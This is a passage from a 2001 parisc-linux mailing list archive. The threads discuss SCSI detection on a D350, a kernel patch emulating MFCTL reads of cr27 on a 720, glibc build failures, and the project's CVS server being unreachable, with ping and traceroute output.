Send Ryan cash. ;^)
(Just kidding...)

grant




From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW SCSI on the D350
Date: Fri, 28 Sep 2001 01:05:18 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <20010928010518.A12507@beavis.ybsoft.com>
References: <hamish@cloud.net.au> <20010928001354.A1519@silly.cloud.net.au> <200109280541.XAA27408@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620530 26361 80.91.229.3 (22 Nov 2014 01:42:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:10 +0000 (UTC)
Cc: Hamish Moffatt <hamish@cloud.net.au>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 01:05:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 417354837
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 01:05:20 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 6333BBD74; Fri, 28 Sep 2001 01:05:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200109280541.XAA27408@puffin.external.hp.com>
User-Agent: Mutt/1.3.22i
Xref: news.gmane.org gmane.linux.ports.parisc:12341

On Thu, Sep 27, 2001 at 11:41:28PM -0600, Grant Grundler wrote:
> Hamish Moffatt wrote:
> > 
> > Hi,
> > 
> > I'm trying to install the 0.9 release on a D350 server. The kernel
> > recognises the standard SCSI, using the lasi7xxx driver, and finds
> > the tape drive and the CD-ROM on that host. However, it doesn't
> > find the Bluefish fast/wide SCSI host, so it doesn't find the
> > four internal hard disks, which makes installation a little tough.

You need a newer kernel, and you should be able to see the SCSI
card.  I'm not sure which -pa?? kernel, so just grab CVS head and
that should be sufficient.

> The D-class is very similar to Cxxx - ie it has U2 or Uturn in it.
> parisc-linux currently only supports GSC devices below the first IOMMU.
> Ryan Bradetich is working on "I/O tree" support to enable support
> for multiple IOMMUs - then we should be able to walk additional
> GSC busses and find more devices.

The code is in to detect the card under the "other" IOMMU, but if any
dma is performed on the "other" GSC bus, it will HPMC the machine.  As
Grant said, I have been working on the I/O tree to fix the problem, and
am getting close to having it working for SYSTEM_MAP firmware.

> > The boot-up firmware recognises all of the disks OK, but the Bluefish
> > is just not included in the device list shown at startup/dmesg.

LaMont Jones saw this same behavior on the J200.  Firmware reports the
Bluefish card for me on the C200.  In one of the Later kernel I committed
the support to walk the GSC busses uner ccio so LaMont could boot the
J200.  This should also work for you.

> Probably because GSC bus with your Bluefish (FWD SCSI) isn't being walked.
> That's something Ryan wants to fix once IOtree support is at least
> sort-of working.
> 
> > I'll try the 0.9.2 release tomorrow. Any other things I can do
> > which might help?

I do not think the 0.9.2 release is new enough, try the CVS head
kernel.

> Send Ryan cash. ;^)
> (Just kidding...)

:)

- Ryan




From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Fri, 28 Sep 2001 10:49:00 +0200 (CEST)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109281042070.29830-100000@www2.scram.de>
References: <200109271442.KAA14125@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620530 26363 80.91.229.3 (22 Nov 2014 01:42:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:10 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 02:49:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8D4049C6
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 02:49:09 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8S8n0C07765;
	Fri, 28 Sep 2001 10:49:00 +0200 (CEST)
In-Reply-To: <200109271442.KAA14125@mail.lokmail.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12342

Hi Jurij,

using your patch, the programs ls etc don't trap anymore, but they just
hang.

> +               if(!(regs->iir & 0xfc000000) && (((regs->iir & 0x1fe0)>>5) == 0x45)) {
> +                 /* This is MFCTL instruction */
> +                 fromcr = (regs->iir & 0x03e00000)>>21;
> +                 togr = (regs->iir & 0x1f);
> +                 /* Emulate the instruction if the read is from cr27 */
> +                 if(fromcr == 27) {
> +                   regs->gr[togr] = regs->cr27;

I guess you need to advance the PC at this place. Something like:

		regs->iaoq[0] = regs->iaoq[1];
		regs->iaoq[1] = regs->iaoq[0] + 4;

> +                   return;
> +                 }
> +               }
> +               /* Something else is wrong */

If i add these instructions, ls no longer hangs but traps again with a
trap 15. Using show_regs(), it looks like there is always a 0 loaded to
the register. So my current question is:

where does regs->cr27 get written to the stack? Does the PA-RISC CPU does
this automatically on a start of a trap or does the code in entry.S need
to do this?

Cheers,
Jochen





From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Fri, 28 Sep 2001 09:54:20 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20010928095420.A16748@parcelfarce.linux.theplanet.co.uk>
References: <200109271442.KAA14125@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620531 26365 80.91.229.3 (22 Nov 2014 01:42:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 02:54:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E83A849C6
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 02:54:21 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15mtPY-0004bk-00; Fri, 28 Sep 2001 09:54:20 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109271442.KAA14125@mail.lokmail.net>; from jurij@lokmail.net on Thu, Sep 27, 2001 at 10:42:25AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12343

On Thu, Sep 27, 2001 at 10:42:25AM -0400, Jurij Smakov wrote:
> I hope I've got it right. It only emulates MFCTL and only when the
> source control register is 27. It turns out, that pt_regs does not
> have a member for cr26 and adding one does not look like an easy
> task. 

I think the right way to do this would be...

> @@ -363,6 +364,17 @@
>                 si.si_code = ILL_PRVOPC;
>                 goto give_sigill;
>         case 11:
> +               if(!(regs->iir & 0xfc000000) && (((regs->iir & 0x1fe0)>>5) == 0x45)) {
> +                 /* This is MFCTL instruction */
> +                 fromcr = (regs->iir & 0x03e00000)>>21;
> +                 togr = (regs->iir & 0x1f);
> +                 /* Emulate the instruction if the read is from cr27 */

		if (fromcr == 26 || fromcr == 27) {
			regs->gr[togr] = mfctl(fromcr);
			return;
		}

> +               }
> +               /* Something else is wrong */
>                 die_if_kernel("Privileged register - shouldn't happen!", regs, code);
>                 si.si_code = ILL_PRVREG;
>         give_sigill:

Can you give this a try?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Fri, 28 Sep 2001 10:19:56 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010928101956.B16748@parcelfarce.linux.theplanet.co.uk>
References: <200109271442.KAA14125@mail.lokmail.net> <Pine.NEB.4.33.0109281042070.29830-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620531 26366 80.91.229.3 (22 Nov 2014 01:42:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:11 +0000 (UTC)
Cc: Jurij Smakov <jurij@lokmail.net>,
	parisc-linux@lists.parisc-linux.org
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 03:19:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7376449C4
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 03:19:57 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15mtoK-00052O-00; Fri, 28 Sep 2001 10:19:56 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.NEB.4.33.0109281042070.29830-100000@www2.scram.de>; from jochen@scram.de on Fri, Sep 28, 2001 at 10:49:00AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12344

On Fri, Sep 28, 2001 at 10:49:00AM +0200, Jochen Friedrich wrote:
> If i add these instructions, ls no longer hangs but traps again with a
> trap 15. Using show_regs(), it looks like there is always a 0 loaded to
> the register. So my current question is:
> 
> where does regs->cr27 get written to the stack? Does the PA-RISC CPU does
> this automatically on a start of a trap or does the code in entry.S need
> to do this?

cr27 is only written to when doing fork/clone/vfork, iirc.  use the mfctl()
macro in place of regs->cr27 as i suggested in my other email.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what i did on my holidays
Date: Fri, 28 Sep 2001 15:23:12 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010928152312.A3460@parcelfarce.linux.theplanet.co.uk>
References: <20010927161004.E16096@parcelfarce.linux.theplanet.co.uk> <20010927204451.F2611@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620531 26367 80.91.229.3 (22 Nov 2014 01:42:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:11 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 08:23:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4452C486A
	for <parisc-linux@parisc-linux.org>; Fri, 28 Sep 2001 08:23:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15myXo-0002dG-00; Fri, 28 Sep 2001 15:23:12 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010927204451.F2611@megatonmonkey.net>; from carlos@megatonmonkey.net on Thu, Sep 27, 2001 at 08:44:51PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12345

On Thu, Sep 27, 2001 at 08:44:51PM -0400, Carlos O'Donell Jr. wrote:
> 	- ./sysdeps/ia64/dl-fptr.c changes for try_lock
> 	- Put change back into dpatch

Excellent.

> 	- dpkg-buildpackage now makes it to the point of using a new
> 	  ld.so.1, which seg's... so I'm back to figuring out why.

Yes.  If you decode that long command, it's probably running zic -- that's
the first thing it attempts to build natively.

By the way, there's glibc 2.2.4-2 out now; I don't know what changes
BenC made to it.  In any case, I thought we'd decided the problem was
with a bogus C compiler (since 2.2.3-9 now fails to build).  Any update
on getting a compiler which fixes this?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] puffin, parisc-linux.org slow/dead?
Date: Fri, 28 Sep 2001 17:40:12 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20010928174012.B22280@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="GvXjxJ+pjyke8COw"
X-Trace: ger.gmane.org 1416620531 26371 80.91.229.3 (22 Nov 2014 01:42:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 09:43:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28C09482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 09:42:56 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15mzm2-0003oz-00
	for parisc-linux@lists.parisc-linux.org; Fri, 28 Sep 2001 17:41:58 +0200
Original-Received: (qmail 16505 invoked from network); 28 Sep 2001 15:41:58 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 28 Sep 2001 15:41:58 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15mzkK-0005qs-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 17:40:12 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15mzm2-0003oz-00*2umryg14wuI* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12346

--GvXjxJ+pjyke8COw
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

I'm trying to do a CVS update of my kernel source, but puffin is
decidedly non-responsive (or is the CVS repository perhaps mirrored
somewhere else?).

=46rom my own machine:

PING puffin.external.hp.com (192.25.206.4): 56 data bytes
64 bytes from 192.25.206.4: icmp_seq=3D0 ttl=3D239 time=3D17262.6 ms
64 bytes from 192.25.206.4: icmp_seq=3D1 ttl=3D239 time=3D17236.5 ms
64 bytes from 192.25.206.4: icmp_seq=3D2 ttl=3D239 time=3D17231.7 ms
64 bytes from 192.25.206.4: icmp_seq=3D3 ttl=3D239 time=3D17246.6 ms

I don't get any response from via my SourceForge account. Is NIMBA
bogging down HP or something? :-)

Regards,

Albert

--GvXjxJ+pjyke8COw
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tJncDg+hOeRZtkMRAsYIAKCPealj9DBfcvh5+cv1+/Gwcxo3QACfeHJ4
rCvsBoK+y+ANBBdUtvCrWuE=
=WqmE
-----END PGP SIGNATURE-----

--GvXjxJ+pjyke8COw--




From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] puffin, parisc-linux.org slow/dead?
Date: Fri, 28 Sep 2001 12:08:24 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <200109281608.MAA32053@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620532 26375 80.91.229.3 (22 Nov 2014 01:42:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 10:08:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 689AC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 10:08:43 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id MAA32053
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 12:08:25 -0400
Content-ID: <32046.1001693304.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12347

> I'm trying to do a CVS update of my kernel source, but puffin is
> decidedly non-responsive (or is the CVS repository perhaps mirrored
> somewhere else?).
> 
> From my own machine:
> 
> PING puffin.external.hp.com (192.25.206.4): 56 data bytes
> 64 bytes from 192.25.206.4: icmp_seq=0 ttl=239 time=17262.6 ms
> 64 bytes from 192.25.206.4: icmp_seq=1 ttl=239 time=17236.5 ms
> 64 bytes from 192.25.206.4: icmp_seq=2 ttl=239 time=17231.7 ms
> 64 bytes from 192.25.206.4: icmp_seq=3 ttl=239 time=17246.6 ms
> 
> I don't get any response from via my SourceForge account. Is NIMBA
> bogging down HP or something? :-)
> 
> Regards,
> 
> Albert

Hi Albert and others!

For the last 4 days I was unable to traceroute www.parisc-linux.org and
puffin, not talking about downloading something from them. Tracerout
dies somewhere in Qwest:

16  atl-edge-17.inet.qwest.net (205.171.21.186)  132.280 ms  131.226 ms  131.866 ms
17  65.112.33.30 (65.112.33.30)  134.950 ms  134.708 ms  137.191 ms
18  * * *

It is very annoying and I am not sure, whether I can do anything about it.

Best regards,

Jurij.







From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Fri, 28 Sep 2001 18:24:22 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <20010928182422.A22740@dogbert.localdomain>
References: <200109280925.FAA18777@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="xHFwDpU9dbj6ez1V"
X-Trace: ger.gmane.org 1416620532 26376 80.91.229.3 (22 Nov 2014 01:42:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 10:26:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DC91482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 10:26:03 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15n0Rq-0002iQ-00
	for parisc-linux@lists.parisc-linux.org; Fri, 28 Sep 2001 18:25:10 +0200
Original-Received: (qmail 16541 invoked from network); 28 Sep 2001 16:25:10 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 28 Sep 2001 16:25:10 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15n0R4-0005vg-00; Fri, 28 Sep 2001 18:24:22 +0200
Content-Disposition: inline
In-Reply-To: <200109280925.FAA18777@mail.lokmail.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15n0Rq-0002iQ-00*FeJCEi65t4I* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12348

--xHFwDpU9dbj6ez1V
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

I've booted my nfsroot again with 2.4.9-pa22 (I'm waiting for puffin to
come back so that I can update, and try Jurij's patches).

I mounted /proc, remounted / rw and went on my way.

I replaced ls, sleep and tar with the busybox binary from the latest
disks-hppa/current Debian root.bin.

Then I tried a mke2fs on my SCSI disk's 2nd partition (ext2), in an
attempt to get my system to boot from disk... Eek!

scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 005ee038 (script[0x180e]), dsps = 005eecde, target = 0
scsi0: Failing command for ID6
scsi0: Serious error, sstat0 = 04
scsi0: Chip register contents:
 (script[0] at virt 105e8000, bus 5e8000)
 00  sien:  af  sdid:  40  scntl1:20  scntl0:d4
 04  socl:  06  sodl:  00  sxfer: 00  scid:  80
 08  sbcl:  00  sbdl:  00  sidl:  00  sfbr:  00
 0C  sstat2:06  sstat1:00  sstat0:00  dstat: 00
 10
 14  ctest3:84  ctest2:25  ctest1:0b  ctest0:00
 18  ctest7:00  ctest6:00  ctest5:00  ctest4:00
 1C  temp:  00000000
 20              ctest8:ff  istat: 06  dfifo: 00
 24  dbc:   0e000001  dnad:  005eecde  dsp:   005ee038
 30  dsps:  005eecde
 34  dmode: 80
 38  dcntl: 80  dwt:   00  dien:  1d
 3C
scsi0: Unexpected stacked interrupt, istat 06, sstat0 08, dstat 00
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI bus and chip

Anything I can do now to help the hackers debug this problem?

Regards,

Albert

--xHFwDpU9dbj6ez1V
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tKQ2Dg+hOeRZtkMRAvkQAJ9DAPPknNEc22WE3CsYhXnR03XzvACghljj
EDGXfQGV2251tsCOz3fXUbw=
=m6pC
-----END PGP SIGNATURE-----

--xHFwDpU9dbj6ez1V--




From - Thu Nov 08 21:19:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] puffin, parisc-linux.org slow/dead?
Date: Fri, 28 Sep 2001 18:41:31 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <20010928184131.B22740@dogbert.localdomain>
References: <200109281608.MAA32053@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="GID0FwUMdk1T2AWN"
X-Trace: ger.gmane.org 1416620532 26378 80.91.229.3 (22 Nov 2014 01:42:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 10:42:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B408482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 10:42:21 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15n0iQ-0005sg-00
	for parisc-linux@lists.parisc-linux.org; Fri, 28 Sep 2001 18:42:18 +0200
Original-Received: (qmail 16698 invoked from network); 28 Sep 2001 16:42:18 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 28 Sep 2001 16:42:18 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15n0hf-0005we-00; Fri, 28 Sep 2001 18:41:31 +0200
Content-Disposition: inline
In-Reply-To: <200109281608.MAA32053@mail.lokmail.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15n0iQ-0005sg-00*gp7pW/EKb0o* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12349

--GID0FwUMdk1T2AWN
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

On Fri, 28 Sep 2001, Jurij Smakov wrote:

> > I'm trying to do a CVS update of my kernel source, but puffin is
> > decidedly non-responsive (or is the CVS repository perhaps mirrored
> > somewhere else?).
> >=20
> > From my own machine:
> >=20
> > PING puffin.external.hp.com (192.25.206.4): 56 data bytes
> > 64 bytes from 192.25.206.4: icmp_seq=3D0 ttl=3D239 time=3D17262.6 ms
> > 64 bytes from 192.25.206.4: icmp_seq=3D1 ttl=3D239 time=3D17236.5 ms
> > 64 bytes from 192.25.206.4: icmp_seq=3D2 ttl=3D239 time=3D17231.7 ms
> > 64 bytes from 192.25.206.4: icmp_seq=3D3 ttl=3D239 time=3D17246.6 ms
> >=20
> > I don't get any response from via my SourceForge account. Is NIMBA
> > bogging down HP or something? :-)
> >=20
> > Regards,
> >=20
> > Albert
>=20
> Hi Albert and others!
>=20
> For the last 4 days I was unable to traceroute www.parisc-linux.org and
> puffin, not talking about downloading something from them. Tracerout
> dies somewhere in Qwest:
>=20
> 16  atl-edge-17.inet.qwest.net (205.171.21.186)  132.280 ms  131.226 ms  =
131.866 ms
> 17  65.112.33.30 (65.112.33.30)  134.950 ms  134.708 ms  137.191 ms
> 18  * * *

 7. ctb-core1-fe-0-0-0.wc.saix.net         0%    6    6    11   11   14 21
 8. ctb-int-fe-0-0-0.saix.net              0%    6    6    11   11   51 170
 9. london-core-s-8-1-0.saix.net          20%    4    6   406  406  408 413
10. ny-core-s-8-1-1.saix.net               0%    5    6   404  402  403 404
11. ???

Western Cape (South Africa), some hop, London, New York, nothing. Could
this still be related to the WTC disaster?

Regards,

Albert

--GID0FwUMdk1T2AWN
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tKg7Dg+hOeRZtkMRAq+2AKCJfOTw5ZwKXpsyj8A/lhAt8sCauACeN20P
q1Z5UvLhGywlMorJkYAlDkA=
=mE3J
-----END PGP SIGNATURE-----

--GID0FwUMdk1T2AWN--




From - Thu Nov 08 21:19:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathan Neulinger <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status of hp-ux binary compatibility?
